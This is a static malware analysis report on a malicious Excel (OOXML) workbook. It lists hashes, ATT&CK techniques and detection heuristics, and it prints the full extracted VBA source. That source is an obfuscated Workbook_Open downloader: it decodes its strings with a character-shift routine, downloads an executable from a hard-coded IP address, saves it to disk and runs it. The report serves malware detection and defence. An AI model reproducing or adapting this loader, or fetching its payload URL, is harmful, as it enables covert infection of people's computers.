Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 73651cd7edbc3148…

MALICIOUS

Office (OOXML)

89.0 KB Created: 2020-05-18 15:46:37 UTC Authoring application: Microsoft Excel 16.0300 First seen: 2020-09-15
MD5: 8cbe4f8c1c42afc680391518f240bcfe SHA-1: 60712fcbd689fe7190105e18e68b3367d0404151 SHA-256: 73651cd7edbc3148819b6b7291b8f7b85fbb072ba8ab9f2207662ae16d7df7cf
356 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1105 Ingress Tool Transfer

The Workbook_Open macro is obfuscated but clearly uses CreateObject to instantiate objects for downloading a file via HTTP and saving it to disk. The reconstructed URL is 'http://185.143.223.147/a/w.exe'. The downloaded file is then executed using WScript.Shell.Run. This indicates a downloader functionality, likely to fetch and execute a further payload.

Heuristics 9

  • VBA project inside OOXML medium 8 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • WScript.Shell usage critical OLE_VBA_WSCRIPT
    WScript.Shell usage
    Matched line in script
    CreateObject("WScript.Shell").Run Filename
  • VBA character-shift decoded Shell command critical OLE_VBA_ASC_CHR_SHIFT_SHELL
    VBA auto-exec macro stores an encoded command string, decodes it with a Mid/Asc/Chr character-shift loop, and passes the recovered text to Shell. This is a high-confidence command stager.
    Matched line in script
            For i = 1 To Len(strInput)
  • VBA downloads and writes a file to disk critical OLE_VBA_HTTP_DROP_EXEC
    VBA reads an HTTP response body and writes it to disk (ADODB.Stream SaveToFile). Combined with the auto-exec/Shell paths this is a download-drop dropper even when the COM ProgIDs are built dynamically to evade keyword scanning.
    Matched line in script
    FxBxgTgeKVRpqMZMCTOZsWjbzNMVXKnweFEtUKkknrkIqqbkwqfTAJR.write BqvmVICjMFnNkAvNKPyYYwstpKoVZWFqttJWBHQEUBuemKScACMSPOo.responseBody
  • Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER
    Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
    Matched line in script
    Set BqvmVICjMFnNkAvNKPyYYwstpKoVZWFqttJWBHQEUBuemKScACMSPOo = CreateObject(llpqMSLcmlMoNPomuPsZwTsavLTtIVCzMRTwGLImydVgfLmKmSTfdhJ("w“�œ™�™�žX‚wvr~~z"))
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    Set BqvmVICjMFnNkAvNKPyYYwstpKoVZWFqttJWBHQEUBuemKScACMSPOo = CreateObject(llpqMSLcmlMoNPomuPsZwTsavLTtIVCzMRTwGLImydVgfLmKmSTfdhJ("w“�œ™�™�žX‚wvr~~z"))
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Workbook_Open macro low OLE_VBA_WBOPEN
    Workbook_Open macro
    Matched line in script
    Public Sub Workbook_Open()
  • Environ() call (env variable access) low OLE_VBA_ENVIRON
    Environ() call (env variable access)
    Matched line in script
    Filename = Environ(llpqMSLcmlMoNPomuPsZwTsavLTtIVCzMRTwGLImydVgfLmKmSTfdhJ("~�—š")) + "\" + llpqMSLcmlMoNPomuPsZwTsavLTtIVCzMRTwGLImydVgfLmKmSTfdhJ("œŸ˜Žœ X Œ�")

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 2342 bytes
SHA-256: 54e1dbcec6f586355eac1c9b008aa054333e3f91f52db1c0e49945cc3fd047b5
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Dim BqvmVICjMFnNkAvNKPyYYwstpKoVZWFqttJWBHQEUBuemKScACMSPOo
Dim FxBxgTgeKVRpqMZMCTOZsWjbzNMVXKnweFEtUKkknrkIqqbkwqfTAJR
Public Sub Workbook_Open()
Set BqvmVICjMFnNkAvNKPyYYwstpKoVZWFqttJWBHQEUBuemKScACMSPOo = CreateObject(llpqMSLcmlMoNPomuPsZwTsavLTtIVCzMRTwGLImydVgfLmKmSTfdhJ("w“�œ™�™�žX‚wvr~~z"))
Set FxBxgTgeKVRpqMZMCTOZsWjbzNMVXKnweFEtUKkknrkIqqbkwqfTAJR = CreateObject(llpqMSLcmlMoNPomuPsZwTsavLTtIVCzMRTwGLImydVgfLmKmSTfdhJ("knynlX}žœ�‹—"))
Url = llpqMSLcmlMoNPomuPsZwTsavLTtIVCzMRTwGLImydVgfLmKmSTfdhJ("’žžšdYYacX[\^XbX[\\Y£œ—™YœŸ˜Žœ X Œ�")
Filename = Environ(llpqMSLcmlMoNPomuPsZwTsavLTtIVCzMRTwGLImydVgfLmKmSTfdhJ("~�—š")) + "\" + llpqMSLcmlMoNPomuPsZwTsavLTtIVCzMRTwGLImydVgfLmKmSTfdhJ("œŸ˜Žœ X Œ�")
BqvmVICjMFnNkAvNKPyYYwstpKoVZWFqttJWBHQEUBuemKScACMSPOo.Open llpqMSLcmlMoNPomuPsZwTsavLTtIVCzMRTwGLImydVgfLmKmSTfdhJ("qo~"), Url, False
BqvmVICjMFnNkAvNKPyYYwstpKoVZWFqttJWBHQEUBuemKScACMSPOo.send
FxBxgTgeKVRpqMZMCTOZsWjbzNMVXKnweFEtUKkknrkIqqbkwqfTAJR.Type = 1
FxBxgTgeKVRpqMZMCTOZsWjbzNMVXKnweFEtUKkknrkIqqbkwqfTAJR.Open
FxBxgTgeKVRpqMZMCTOZsWjbzNMVXKnweFEtUKkknrkIqqbkwqfTAJR.write BqvmVICjMFnNkAvNKPyYYwstpKoVZWFqttJWBHQEUBuemKScACMSPOo.responseBody
FxBxgTgeKVRpqMZMCTOZsWjbzNMVXKnweFEtUKkknrkIqqbkwqfTAJR.savetofile Filename, 2
CreateObject("WScript.Shell").Run Filename
End Sub
Public Function llpqMSLcmlMoNPomuPsZwTsavLTtIVCzMRTwGLImydVgfLmKmSTfdhJ(strInput As String)
        Dim n As Integer, i As Integer
        n = 42
        For i = 1 To Len(strInput)
            Mid(strInput, i, 1) = Chr(Asc(Mid(strInput, i, 1)) - n)
        Next i
        llpqMSLcmlMoNPomuPsZwTsavLTtIVCzMRTwGLImydVgfLmKmSTfdhJ = strInput
    End Function


Attribute VB_Name = "Sheet1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
vbaProject_00.bin vba-project OOXML VBA project: xl/vbaProject.bin 15360 bytes
SHA-256: 3c19ba57e459bdc2a5f402cd749b14d4e60d51f27f86d4f949908e71f275b4af

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